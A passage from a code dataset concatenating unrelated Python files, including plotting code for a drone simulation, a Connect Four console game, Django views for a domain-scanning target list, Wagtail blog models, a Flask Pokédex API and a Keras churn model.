alpha=0.5)\n y = mlab.normpdf(bins, avg_3, std_3)\n plt.title('PDF of Drone 3 Usage')\n plt.ylabel(\"Times Used\")\n plt.xlabel(\"Probabilty\")\n plt.plot(bins, y, 'r--')\n plt.show()\n\n plt.subplot(3,1,1)\n n, bins, patches = plt.hist(uno_list, num_bins, normed=1, alpha=0.5, cumulative=True)\n y = mlab.normpdf(bins, avg_1, std_1).cumsum()\n y /= y[-1]\n plt.plot(bins, y)\n plt.title('CDF of Drone 1 Utilization')\n plt.xlabel(\"Times Used\")\n plt.ylabel(\"Probabilty\")\n\n plt.subplot(3, 1, 2)\n n, bins, patches = plt.hist(dos_list, num_bins, normed=1, alpha=0.5, cumulative=True)\n y = mlab.normpdf(bins, avg_2, std_2).cumsum()\n y /= y[-1]\n plt.plot(bins, y)\n plt.title('CDF of Drone 2 Utilization')\n plt.xlabel(\"Times Used\")\n plt.ylabel(\"Probabilty\")\n\n plt.subplot(3, 1, 3)\n n, bins, patches = plt.hist(tres_list, num_bins, normed=1, alpha=0.5, cumulative=True)\n y = mlab.normpdf(bins, avg_3, std_3).cumsum()\n y /= y[-1]\n plt.plot(bins, y)\n plt.title('CDF of Drone 3 Utilization')\n plt.xlabel(\"Times Used\")\n plt.ylabel(\"Probabilty\")\n plt.show()\n\n plt.subplot(2, 1, 1)\n plt.plot(beta)\n plt.xlabel(\"Packages/Orders\", )\n plt.title(\"Drone Frequency Usage\")\n\n plt.ylabel(\"Drones\")\n\n plt.subplot(2,1,2)\n plt.bar(1,avg_1)\n plt.bar(2,avg_2)\n plt.bar(3,avg_3)\n plt.legend([(' Drone 1 ', uno), (' Drone 2 ', dos), (' Drone 3 ',tres)])\n plt.title('Drone Delivery Utilization')\n plt.xlabel('DRONES')\n plt.ylabel('Times Used')\n\n\n plt.show()\n\n\n\n plt.subplot(1,1,1)\n xLocation = [a / 5280 for a in xhomes]\n yLocation = [b / 5280 for b in yhomes]\n\n plt.scatter(0, 0, color='cyan')\n plt.plot(xLocation, yLocation, 'ro')\n plt.legend([\"Customer Homes\", \"Delivery Facility\"], loc=1, bbox_to_anchor=(1, 0.4))\n\n plt.ylabel('Miles')\n plt.title(\"Customer Grid Map for the last RUN\")\n plt.xlabel('Miles')\n plt.show()\n\n\n plt.subplot(1,1,1)\n n, bins, patches = plt.hist(delivery_distance, num_bins, normed=1, alpha=0.5)\n y = mlab.normpdf(bins, dist_avg, dist_std)\n plt.title('PDF of Total Trip Distance')\n plt.ylabel(\"Probabilty\")\n plt.xlabel(\"Distance in Miles\")\n plt.plot(bins, y, 'r--')\n plt.show()\n\n n, bins, patches = plt.hist(delivery_distance, num_bins, normed=1, alpha=0.5,cumulative=True)\n y = mlab.normpdf(bins, dist_avg, dist_std).cumsum()\n y /= y[-1]\n plt.plot(bins,y)\n plt.title(\"CDF of Total Trip Distance\")\n plt.xlabel(\"Distance in Miles\")\n plt.ylabel(\"Probabilty\")\n\n\n plt.show()\n\n\n ''' \n df1 = pd.DataFrame.from_dict(all,orient = 'index')\n df1.plot(kind = 'bar')\n\n\n plt.legend(['Drones'])\n plt.title('Drone Delivery Utilization')\n plt.xlabel('DRONES')\n plt.ylabel('Times Used')\n plt.show()\n '''\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"code/drone.py","file_name":"drone.py","file_ext":"py","file_size_in_byte":13173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"543508769","text":"import mss\n#from PIL import Image\n\n\n\n# Return the size of the image and the pixels in an array of (R,G,B)\ndef getPixels():\n\n with mss.mss() as sct:\n # Get a screenshot of the 1st monitor\n sct_img = sct.grab(sct.monitors[1])\n\n # Create an Image\n #img = Image.new('RGB', sct_img.size) #to do by rasp\n\n # Best solution: create a list(tuple(R, G, B), ...) for putdata()\n pixels = zip(sct_img.raw[2::4],\n sct_img.raw[1::4],\n sct_img.raw[0::4])\n \n #img.putdata(list(pixels)) #to do by rasp\n\n return sct_img.size, pixels\n","sub_path":"oldUseless/client/getScreenShot.py","file_name":"getScreenShot.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"276821234","text":"'''Let's play connect four!!!'''\n#cool things:\n#board size constraints could be fixed\n#more dummy prevention/goof counters\n#the 3 win functions looked less stupid\n#pause after #cool1 by like a second\n#colourful circly things\n#oops/undo button?\n#if name == main block: how to do user input though...\n\n\nimport random\nfrom sys import exit #how do i properly exit this thing....\n\ndef set_up():\n input_1 = input(\"What is your name?\\n\")\n input_2 = input(\"What is your name?\\n\")\n print(\"Let's see who goes first! One moment please...\\n\") #cool1\n if random.randint(1,2) == 1:\n print(input_1, 'goes first. Your pieces are the \"X\"\\'s.', input_2, 'goes second. Your pieces are the \"Y\"\\'s.\\n')\n else:\n print (input_2, 'goes first. Your pieces are the \"Y\"\\'s.', input_1, 'goes second. Your pieces are the \"X\"\\'s.\\n')\n return input_1, input_2\n\ndef play_game():\n names = set_up()\n global name_1 #how else can i deal with names throughout...?\n name_1 = names[0]\n global name_2 \n name_2 = names[1]\n pieces = board_pieces()\n make_board(pieces)\n count = 0\n while count < 3:\n player1(pieces)\n print_board(pieces)\n player2(pieces)\n print_board(pieces)\n count += 1\n while wins(pieces) == False:\n player1(pieces)\n print_board(pieces)\n wins(pieces)\n player2(pieces)\n print_board(pieces)\n wins(pieces)\n \ndef player1(pieces):\n print(name_1 + \"'s turn.\")\n position(\"X\", pieces)\n \ndef player2(pieces):\n print(name_2 + \"'s turn.\")\n position(\"Y\", pieces)\n\n#you get the actual board\ndef print_board(pieces):\n for i in range(5):\n print (pieces[i][0] + \" | \" + pieces[i][1] + \" | \" + pieces[i][2] + \" | \" + pieces[i][3] + \" | \" + pieces[i][4])\n print (\"--- --- --- --- ---\")\n \ndef position(sym, pieces):\n goof_count = 0 \n col = int(input(\"Pick a column to drop your piece.\\n\"))\n while (col < 0) or (col > 4):\n print(\"You goofed. Try again\")\n goof_count += 1\n col = int(input(\"Pick a column to drop your piece.\\n\"))\n if goof_count == 3:\n print(\"Please, let's stick to the game...\")\n if goof_count > 5:\n print(\"Let's stop this now, shall we?\\n\")\n exit(0) #exit quietly without that Tracebook, etc????\n i = 4\n while i >= 0:\n if pieces[i][col] == \" \":\n pieces[i][col] = sym\n return pieces\n else:\n i -= 1\n if i < 0:\n print (\"No space in this column. Please pick another column.\")\n #how to get them to try again???\n\n#building the list of list piece placements\ndef board_pieces():\n pieces = []\n for i in range(0,5):\n pieces.append([\" \"] * 5)\n return pieces\n\n#make the board\ndef make_board(pieces):\n for i in range(5):\n print (pieces[i][0] + \" | \" + pieces[i][1] + \" | \" + pieces[i][2] + \" | \" + pieces[i][3] + \" | \" + pieces[i][4])\n print (\"--- --- --- --- ---\")\n\n #jokes, not actually needed anymore, maybe for a diff game \n '''print(\"These are the board indices.\")\n for j in range(5):\n for k in range(5):\n print (j,k,end=\" \")\n print (\"\\n\")\n'''\n\n#has someone won yet?\ndef wins(pieces):\n vert_wins(pieces)\n hori_wins(pieces)\n diag_wins(pieces)\n if (vert_wins(pieces) == False) and (hori_wins(pieces) == False) and (diag_wins(pieces) == False):\n return False\n \n#3 ways to win\ndef vert_wins(pieces):\n for j in range(0,5):\n if (pieces[0][j] == pieces[1][j] == pieces[2][j] == pieces[3][j]) or (pieces[1][j] == pieces[2][j] == pieces[3][j] == pieces[4][j]):\n if pieces[2][j] == \"X\" and pieces[2][j] != \" \":\n print(name_1, \"won.\")\n play_again() #call the play again function\n elif pieces[2][j] == \"Y\" and pieces[2][j] != \" \":\n print (name_2, \"won.\")\n play_again()\n return False\n\ndef hori_wins(pieces):\n for j in range(0,5):\n if (pieces[j][0] == pieces[j][1] == pieces[j][2] == pieces[j][3]) or (pieces[j][1] == pieces[j][2] == pieces[j][3] == pieces[j][4]):\n if pieces[j][3] == \"X\" and pieces[j][3] != \" \":\n print(\"Player 1 won.\")\n play_again()\n elif pieces[j][3] == \"Y\" and pieces[j][3] != \" \":\n print(\"Player 2 won.\")\n play_again()\n return False\n\ndef diag_wins(pieces):\n #winning lines from top left to bottom right\n for i in range(0,2):\n for j in range(0,2):\n if pieces[i][j] == pieces[i + 1][j + 1] == pieces[i+2][j+2] == pieces[i+3][j+3]:\n if pieces[i][j] == \"X\":\n print(name_1, \"won.\")\n play_again()\n elif pieces[i][j] == \"Y\":\n print(name_2, \"won.\")\n play_again()\n #winning lines from top right to bottom left\n for m in range(0,2):\n for n in range(3,5):\n if pieces[m][n] == pieces[m+1][n-1] == pieces[m+2][n-2] == pieces[m+3][n-3]:\n if pieces[m][n] == \"X\":\n print(name_1, \"won.\")\n play_again()\n elif pieces[m][n] == \"Y\":\n print(name_2, \"won.\")\n play_again()\n return False\n \n#play again?\ndef play_again():\n val = input(\"Do you wish to play again?\\n\")\n goof_count = 0 \n if val == \"yes\":\n play_game()\n elif val == \"no\":\n print (\"Bye!\\n\")\n sys.exit() #not sure how to actually exit\n \n #not entirely sure how to do a recurring loop thing\n ''' \n else:\n while goof_count < 5:\n print (\"Please enter either 'yes' or 'no'.\\n\")\n val = input(\"Do you wish to play again?\\n\")\n goof_count += 1\n '''\n","sub_path":"connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":6958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628249003","text":"import json\r\nimport datetime\r\nfrom django.http import HttpResponse\r\nfrom index.models import Target, Subdomain, Ipinfo\r\nfrom index import task\r\n\r\n\r\nclass CJsonEncoder(json.JSONEncoder):\r\n def default(self, obj):\r\n if isinstance(obj, datetime.datetime):\r\n return obj.strftime('%Y-%m-%d %H:%M:%S')\r\n else:\r\n return json.JSONEncoder.default(self, obj)\r\n\r\n\r\ndef convert_to_dicts(objs):\r\n obj_arr = []\r\n for o in objs:\r\n dict = {}\r\n dict.update(o.__dict__)\r\n dict.pop(\"model\", None)\r\n dict.pop(\"_state\", None)\r\n dict.pop(\"pk\", None)\r\n obj_arr.append(dict)\r\n return obj_arr\r\n\r\n\r\ndef api_target_add(request):\r\n target_name = request.POST['target_name']\r\n main_host = request.POST['main_host']\r\n remark = request.POST['remark']\r\n target = Target(target_name=target_name, remark=remark, main_host=main_host)\r\n target.save()\r\n resp = {'code': 1, 'msg': '增加成功', 'data': {}}\r\n return HttpResponse(json.dumps(resp), content_type=\"application/json\")\r\n\r\n\r\ndef api_target_edit(request):\r\n obj = Target.objects.get(id=request.POST['target_id'])\r\n obj.target_name = request.POST['target_name']\r\n obj.remark = request.POST['remark']\r\n obj.main_host = request.POST['main_host']\r\n obj.save()\r\n resp = {'code': 1, 'msg': '编辑成功', 'data': {}}\r\n return HttpResponse(json.dumps(resp), content_type=\"application/json\")\r\n\r\n\r\ndef api_target_del(request):\r\n target_id = request.POST['target_id']\r\n Target.objects.filter(id=target_id).delete()\r\n Subdomain.objects.filter(target_id=target_id).delete()\r\n resp = {'code': 1, 'msg': '删除成功', 'data': {}}\r\n return HttpResponse(json.dumps(resp), content_type=\"application/json\")\r\n\r\n\r\n\r\ndef api_target_list(request):\r\n objs = Target.objects.all()\r\n dict_data = convert_to_dicts(objs)\r\n json_data = {'code': 0, 'msg': '', 'count': 100, 'data': dict_data}\r\n data = json.dumps(json_data, cls=CJsonEncoder)\r\n return HttpResponse(data, content_type=\"application/json\")\r\n\r\n\r\ndef api_domain_list(request, target_id):\r\n objs = Subdomain.objects.filter(target_id=target_id)\r\n dict_data = convert_to_dicts(objs)\r\n json_data = {'code': 0, 'msg': '', 'count': 100, 'data': dict_data}\r\n data = json.dumps(json_data, cls=CJsonEncoder)\r\n return HttpResponse(data, content_type=\"application/json\")\r\n\r\n\r\ndef api_ip_list(request, target_id):\r\n objs = Ipinfo.objects.filter(target_id=target_id)\r\n dict_data = convert_to_dicts(objs)\r\n json_data = {'code': 0, 'msg': '', 'count': 100, 'data': dict_data}\r\n data = json.dumps(json_data, cls=CJsonEncoder)\r\n return HttpResponse(data, content_type=\"application/json\")\r\n\r\n\r\ndef api_target_scan(request):\r\n target_id = request.POST['target_id']\r\n task.startscan.delay(target_id)\r\n resp = {'code': 1, 'msg': '开始扫描', 'data': {}}\r\n return HttpResponse(json.dumps(resp), content_type=\"application/json\")\r\n","sub_path":"index/views_api.py","file_name":"views_api.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"372690886","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 29 13:45:10 2016\n\n@author: sebastiaan\n\"\"\"\n#import matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\n\n# Benchmark Graph\n#G = nx.path_graph(10)\n#nx.draw_circular(G)\n\ndef RandomSampling(Graph, numberOfExperiments, k):\n # Calculate actual average distance for all nodes\n \n G = Graph\n \n # Calculate actual average distance for all nodes\n avg_dists = np.zeros(len(G.nodes()))\n i = 0\n for v in G.nodes():\n lengths = nx.single_source_shortest_path_length(G,v)\n average = np.mean(lengths.values())\n avg_dists[i] = average\n i += 1\n \n # number of experiments\n exps = numberOfExperiments\n experiments = np.zeros(shape=(exps,len(G.nodes())))\n for i in range(0,exps):\n # Estimate average distance (using k sample nodes)\n #k = 1 # we're getting k from the function now.\n sample = np.random.choice(G.nodes(),k,replace=True)\n est_dists = dict()\n # fill with 0\n for v in G.nodes():\n est_dists[v] = 0.0\n \n for u in sample:\n lengths = nx.single_source_shortest_path_length(G,u)\n for key, value in lengths.iteritems():\n est_dists[key] += value\n \n # Average cummulative distances\n for key, value in est_dists.iteritems():\n est_dists[key] = est_dists[key] / k\n \n experiments[i] = np.array(est_dists.values())\n \n \n # get performance of estimations\n AE_exp = 0.0\n AE_est = 0.0\n for j in range(0,len(G.nodes())):\n avg = np.mean(experiments[:,j])\n #std = np.std(experiments[:,j])\n AE_exp += np.abs(avg_dists[j] - avg)\n for i in range(0,exps):\n est = experiments[i,j]\n AE_est += np.abs(avg_dists[j] - est)\n \n MAE_exp = AE_exp / float(len(G.nodes()))\n MAE_est = AE_est / float(len(G.nodes())*exps)\n \n results = {}\n results['MAE (per experiment)'] = MAE_exp # accuracy (E[d] = d)\n results['MAE (for all estimates)'] = MAE_est # precision\n \n return results\n \n# print \"MAE (per experiment): \" + str(MAE_exp) # accuracy (E[d] = d)\n# print \"MAE (for all estimates): \" + str(MAE_est) # precision","sub_path":"random_sampling.py","file_name":"random_sampling.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"314596051","text":"\"\"\"\nhttps://www.codingame.com/ide/puzzle/samegame\n\"\"\"\nimport sys\n\n\n# Remove connected regions of the same color to obtain the best score.\ndef log(msg):\n print(msg, file=sys.stderr, flush=True)\n\n\nSIZE = 15\n# SIZE = 3\n\n\ndef dfs(x, y, c, w, count=0):\n count += 1\n w[x][y] = 1\n if x > 0 and c[x][y] == c[x-1][y] and w[x-1][y] == 0:\n count = dfs(x-1, y, c, w, count)\n if x < SIZE-1 and c[x][y] == c[x+1][y] and w[x+1][y] == 0:\n count = dfs(x+1, y, c, w, count)\n if y > 0 and c[x][y] == c[x][y-1] and w[x][y-1] == 0:\n count = dfs(x, y-1, c, w, count)\n if y < SIZE-1 and c[x][y] == c[x][y+1] and w[x][y+1] == 0:\n count = dfs(x, y+1, c, w, count)\n return count\n\n# game loop\nwhile True:\n c = []\n w = [([0] * SIZE) for i in range(SIZE)]\n for i in range(SIZE):\n l = list(map(int, input().split()))\n c.append(l)\n log(c)\n mw = 0\n mi, mj = -1, -1\n for i in range(SIZE):\n for j in range(SIZE):\n if c[i][j] != -1 and w[i][j] == 0:\n new_max = dfs(i, j, c, w)\n log(f\"{i} {j} Count: {new_max}\")\n if new_max > mw:\n mw = new_max\n mi, mj = i, j\n\n\n print(f\"{mj} {SIZE-mi-1}\")\n","sub_path":"codingame/optimization/samegame.py","file_name":"samegame.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"751685","text":"from django import forms\nfrom django.db import models\n\n# New imports added for ParentalKey, Orderable, InlinePanel, ImageChooserPanel\n\nfrom modelcluster.fields import ParentalKey,ParentalManyToManyField\nfrom modelcluster.contrib.taggit import ClusterTaggableManager\nfrom taggit.models import TaggedItemBase\n\nfrom taggit.managers import TaggableManager\n\nfrom wagtail.core.models import Page, Orderable\nfrom wagtail.core.fields import RichTextField,StreamField\nfrom wagtail.core import blocks\nfrom wagtail.admin.edit_handlers import FieldPanel, InlinePanel ,MultiFieldPanel,StreamFieldPanel\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.search import index\nfrom wagtail.images.blocks import ImageChooserBlock\nfrom wagtail.embeds.blocks import EmbedBlock \n\nfrom .blocks import ColumnBlock,TwoColumnBlock,BaseStream,ImageInsertion,Quoting\n\nfrom wagtail.snippets.models import register_snippet\n\nfrom wagtail.core.blocks import BlockQuoteBlock,PageChooserBlock\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n# Create your models here.\n\n\n@register_snippet\nclass BlogCategory(models.Model):\n name = models.CharField(max_length=200)\n icon = models.ForeignKey('wagtailimages.Image', related_name='+', on_delete=models.SET_NULL,\n null = True)\n categorycolor=models.CharField(max_length=50,\n null = True)\n\n panels = [\n FieldPanel('name'),\n ImageChooserPanel('icon'),\n FieldPanel('categorycolor'),\n ]\n\n def __str__(self):\n return self.name\n \n class Meta:\n verbose_name_plural = 'blog categories'\n \n \n\nclass BlogIndexPage(Page):\n intro = RichTextField(blank=True)\n\n def get_context(self,request):\n context = super().get_context(request)\n blogpages = self.get_children().live().order_by('-first_published_at')\n # blogpages = self.get_children().live()\n\n paginator = Paginator(blogpages, 10)\n blogpages = paginator.page(1)\n\n blogcatlist = BlogPage.objects.all().order_by('-first_published_at')\n paging = Paginator(blogcatlist,6)\n blogcatlist = paging.page(1)\n context['blogcatlist'] = blogcatlist\n context['cata'] = BlogCategory.objects.all().distinct()\n\n context['blogpages'] = blogpages\n return context\n\n content_panels = Page.content_panels + [\n FieldPanel('intro', classname=\"full\")\n ]\n\n\nclass BlogPageTag(TaggedItemBase):\n content_object = ParentalKey(\n 'BlogPage',\n related_name='tagged_items',\n on_delete = models.CASCADE\n )\n\n\n\nclass BlogPage(Page):\n date = models.DateField(\"Post date\")\n intro = models.CharField(max_length=250)\n Author = models.CharField(max_length=250,null=True)\n body = StreamField([\n ('heading',blocks.CharBlock(classname=\"full\")),\n ('paragraph',blocks.RichTextBlock()),\n ('image',ImageChooserBlock()),\n # ('embedded_video',EmbedBlock(icon='media')),\n ('BaseStream',BaseStream()),\n ('images',ImageInsertion()),\n ('quoting',Quoting()),\n ('pages',PageChooserBlock()),\n ('HTML',blocks.\n RawHTMLBlock()),\n\n \n ])\n\n tags = ClusterTaggableManager(through=BlogPageTag,blank=True)\n categories = ParentalManyToManyField('blog.BlogCategory',blank = True)\n # tak = TaggableManager()\n # related = tags.similar_objects()\n\n \n \n\n\n def main_image(self):\n gallery_item = self.gallery_images.first()\n if gallery_item:\n return gallery_item.image\n else:\n return None\n\n search_fields = Page.search_fields + [\n index.SearchField('intro'),\n index.SearchField('body'),\n index.FilterField('date'),\n \n\n index.SearchField('categories'),\n # index.SearchField('tags'),\n\n ]\n\n content_panels = Page.content_panels + [\n MultiFieldPanel([\n FieldPanel('date'),\n FieldPanel('tags'),\n FieldPanel('categories',widget=forms.CheckboxSelectMultiple), \n ], heading=\"Blog information\"),\n FieldPanel('Author'),\n FieldPanel('intro'),\n # FieldPanel('body', classname=\"full\"),\n StreamFieldPanel('body'),\n InlinePanel('gallery_images', label=\"Gallery images\"),\n ]\n\n def get_context(self, request):\n\n # Filter by tag\n tag = request.GET.get('tag')\n blogpages = BlogPage.objects.filter(tags__name=tag)\n\n # Update template context\n context = super().get_context(request)\n context['blogpages'] = blogpages\n return context\n \n # def trag(self,request):\n # tag = self.tags\n # self.related = tag.tags.similar_objects()\n # # context['blogpages'] = related\n # return related\n # def trip_single(self,request, slug):\n # self.trip = get_object_or_404(BlogPage, slug=slug)\n # self.trip_related = trip.tags.similar_objects()\n # return render(request, 'blog/trip_single.html', {'trip': trip, 'trip_related': trip_related})\n \nclass BlogTagIndexPage(Page):\n\n def get_context(self, request):\n\n # Filter by tag\n tag = request.GET.get('tag')\n blogpages = BlogPage.objects.filter(tags__name=tag)\n\n # Update template context\n context = super().get_context(request)\n context['blogpages'] = blogpages\n return context\n\nclass BlogPageGalleryImage(Orderable):\n page = ParentalKey(BlogPage, on_delete=models.CASCADE, related_name='gallery_images')\n image = models.ForeignKey(\n 'wagtailimages.Image', on_delete=models.CASCADE, related_name='+'\n )\n caption = models.CharField(blank=True, max_length=250)\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('caption'),\n ]\n\n\nclass BlogCategoryIndexPage(Page):\n\n def get_context(self, request):\n\n # Filter by tag\n category = request.GET.get('category')\n blogpages = BlogPage.objects.filter(categories__name=category)\n\n # Update template context\n context = super().get_context(request)\n context['blogpages'] = blogpages\n return context\n\n ","sub_path":"blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"6689794","text":"from flask import Flask, json, jsonify, make_response, abort, request\nimport markdown\n\napp = Flask(__name__)\napp.config['JSON_SORT_KEYS'] = False\n\n# shows Documentation\n@app.route(\"/\")\ndef index():\n with open(\"/home/pokedextask/pokedex/README.md\", \"r\") as markdown_file:\n content = markdown_file.read()\n return markdown.markdown(content)\n\n\n#read json\nwith open(\"data.json\",\"r\") as myfile:\n data = myfile.read()\n\n# parse file\nobjList = json.loads(data)\nmovesList = objList[\"moves\"]\ntypesList = objList[\"types\"]\npokemonsList = objList[\"pokemons\"]\n\n\n# Called in case of any error\n@app.errorhandler(404)\ndef not_found(error):\n # Send an error message with Json format\n return make_response(jsonify({'error': 'Not found'}), 404)\n\n\"\"\"---------------------------- LIST API ----------------------------\"\"\"\n\n# Lists all of the pokemons types\n@app.route('/list/types')\ndef list_types():\n res = []\n # appends all pokemon types to the array (res)\n for i in typesList:\n res.append(i[\"name\"])\n\n if len(res) == 0:\n abort(404)\n\n return jsonify({\"types \" : res})\n\n# Lists all of the moves\n@app.route('/list/moves')\ndef list_moves():\n return jsonify({\"moves \" : movesList})\n\n#----------------- Helper Method for listPoke_giventypes() ------------------------#\ndef findPokeByName(name):\n for pokemon in pokemonsList:\n if pokemon[\"Name\"] == name:\n return pokemon\n\ndef extractTypes(pokemon):\n res = []\n if \"Type I\" in pokemon:\n res.append(pokemon[\"Type I\"][0])\n if \"Type II\" in pokemon:\n res.append(pokemon[\"Type II\"][0])\n return res\n\ndef findEvo(pokemon): # finds all evolutions of the given pokemon\n resEvoPoke = []\n if \"Next evolution(s)\" in pokemon:\n for i in pokemon[\"Next evolution(s)\"]:\n resEvoPoke.append(findPokeByName(i[\"Name\"]))\n if \"Previous evolution(s)\" in pokemon:\n for i in pokemon[\"Previous evolution(s)\"]:\n resEvoPoke.append(findPokeByName(i[\"Name\"]))\n resEvoPoke.append(pokemon)\n return resEvoPoke # return list of the 'pokemon' object\n\ndef allType(name): # finds all types of the given pokemon's name\n res = []\n allEvo = findEvo(findPokeByName(name))\n for pokemon in allEvo:\n for i in extractTypes(pokemon):\n if i not in res:\n res.append(i)\n return res\n\n# -----------------end of Helper Method for listPoke_giventypes()-------------------#\n\n\n# Lists the given type of pokémons\n# next and previous evolutions and pokemon's second types are considered.\n\n@app.route('/list/<string:type>')\ndef listPoke_giventypes(type): # http://127.0.0.1:5000/list/Grass?sortby=Number\n\n # invalid Type name ########\n allTypeNames = [i[\"name\"] for i in typesList]\n if type not in allTypeNames:\n abort(404)\n ################################\n\n res = []\n for pokemon in pokemonsList:\n if type in allType(pokemon[\"Name\"]):\n res.append(pokemon)\n\n key = request.args.get('sortby')\n\n # invalid sort key ########\n sortKeys = [i for i in pokemonsList[0].keys()]\n if key not in sortKeys:\n abort(404)\n ###############################\n res = sorted(res, key=lambda k: k.get(key), reverse=True) # \tin descending order\n return jsonify({\"List of the \\'\" + type + \"-type\\' pokémons \" : res})\n\n\n\n\n\"\"\"\"---------------------------- GET API ----------------------------\"\"\"\n\n# -----------------Helper Method for get_ptm(ptm,name)-------------------#\n\n# Find two example Pokemons with given type\ndef findTwoPoke(type):\n res = []\n for d in pokemonsList:\n if len(res) < 2:\n if \"Type I\" in d and type in d[\"Type I\"] :\n res.append(d[\"Name\"])\n if \"Type II\" in d and type in d[\"Type II\"]:\n res.append(d[\"Name\"])\n else:\n break\n return res\n\ndef findWeakOrEffective(pokemon,weakOrEffective):\n res = []\n types = allType(pokemon[\"Name\"])\n\n for selftype in types: # loop over the list only includes 'pokemon's types\n for type in typesList: # loop over the list includes all of the types\n if type[\"name\"] == selftype:\n for i in type[weakOrEffective]:\n res.append(i)\n return res\n# -----------------end of Helper Method for get_ptm(ptm,name)-------------------#\n\n# Prints information about Pokemon, Type or Move\n@app.route('/<string:ptm>/<string:name>')\ndef get_ptm(ptm,name): # ptm = [p]okemon [t]ype [m]ove\n arr = []\n if ptm == \"pokemon\":\n # Find Pokemon in pokemonsList\n arr = [arr for arr in pokemonsList if arr['Name'] == name]\n\n if len(arr) == 0:\n # There is no Pokemon with the specified name, call the method not_found(error)\n\n abort(404)\n arr[0][\"Effective Against\"] = findWeakOrEffective(findPokeByName(name),\"effectiveAgainst\")\n arr[0][\"Weak Against\"] = findWeakOrEffective(findPokeByName(name),\"weakAgainst\")\n elif ptm == \"type\":\n # Find Type in typesList\n arr = [arr for arr in typesList if arr['name'] == name]\n\n if len(arr) == 0:\n # There is no Type with the specified name, call the method not_found(error)\n abort(404)\n\n arr[0][\"Exampe Pokemons\"] = (findTwoPoke(name))\n elif ptm == \"move\":\n # Find Move in movesList\n arr = [arr for arr in movesList if arr['name'] == name]\n else:\n abort(404)\n if len(arr) == 0:\n # There is no Move with the specified name, call the method not_found(error)\n abort(404)\n return jsonify({\"All informations about \"+ ptm + \" \"+ name: arr[0]})\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"417691509","text":"import timeit\n\nlimit = 1_000_000\ncounts = [0]*(limit+1)\n\n\ndef count_solutions():\n for a in range(1, limit):\n if a % 1_000_000 == 0:\n print(a)\n\n for d in range(a//4+1, a):\n n = a * (4*d - a)\n if n >= limit:\n break\n\n counts[n] += 1\n\n single_count = 0\n for i, cnt in enumerate(counts):\n if cnt == 10:\n single_count += 1\n\n print(single_count)\n\n\nt = timeit.Timer(lambda: count_solutions())\nprint(t.timeit(1))\n","sub_path":"src/p126-150/p135.py","file_name":"p135.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"80688409","text":"#! /usr/bin/env python\n\n# Copyright (C) 2010 Benoit <benoxoft> Paquet\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\nfrom pygame.sprite import Sprite\nfrom movement import Movement\n\nimport media\n\nclass Fairy(Sprite):\n\n def __init__(self, posx, posy):\n Sprite.__init__(self)\n self.move = Movement(self, thrust_strength = 15000,\n accelx = 3800,\n maxspeedx = 2000,\n maxspeedy = 2500,\n posx=posx,\n posy=posy)\n self.brain = None\n self.fairy_wingup = media.load_image('fairy_wingup.png')\n self.fairy_wingmid = media.load_image('fairy_wingmid.png')\n self.fairy_wingdown = media.load_image('fairy_wingdown.png')\n self.image = self.fairy_wingup\n self.rect = self.image.get_rect()\n self.currentframe = 1\n \n def update(self, tick):\n if self.currentframe == 1:\n self.image = self.fairy_wingup\n elif self.currentframe == 2:\n self.image = self.fairy_wingmid\n elif self.currentframe == 3:\n self.image = self.fairy_wingdown\n self.currentframe += 1\n if self.currentframe == 4:\n self.currentframe = 1\n \n self.brain.update(tick)\n self.move.calculate_movement(tick)\n self.rect.x = self.move.posx\n self.rect.y = self.move.posy\n \n","sub_path":"HandcopterGame/gamelib/fairy.py","file_name":"fairy.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"289506562","text":"import keras\nimport numpy as np\nimport pandas as pd\n\nfrom keras.layers import Dense\nfrom keras.models import Sequential\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder\n\n# Importing data set and setting independent/dependent variables\ndataset = pd.read_csv('Churn_Modelling.csv')\nX = dataset.iloc[:, 3:-1].values\ny = dataset.iloc[:, -1].values\n\n# Encoding categorical data\nlabelendcoder_X_1 = LabelEncoder()\nX[:, 1] = labelendcoder_X_1.fit_transform(X[:, 1])\nlabelendcoder_X_2 = LabelEncoder()\nX[:, 2] = labelendcoder_X_2.fit_transform(X[:, 2])\nonehotencoder = OneHotEncoder(categorical_features=[1])\nX = 